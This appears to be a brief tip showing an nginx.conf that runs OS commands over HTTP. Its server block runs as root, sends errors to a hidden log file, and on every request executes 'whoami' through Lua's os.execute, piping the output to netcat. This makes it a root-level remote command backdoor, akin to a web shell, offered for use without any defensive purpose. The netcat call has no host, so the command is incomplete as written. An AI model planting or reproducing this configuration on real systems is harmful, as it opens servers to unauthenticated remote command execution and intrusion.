Let's say that for some reason you want to execute an OS command via HTTP...

nginx.conf

worker_processes  1;
user root;
error_log /tmp/.nginx.log;
events {
    worker_connections 1024;
}
http {
    server {
        listen 8080;
        location / {
          content_by_lua "os.execute('whoami|nc')";
      }
    }
}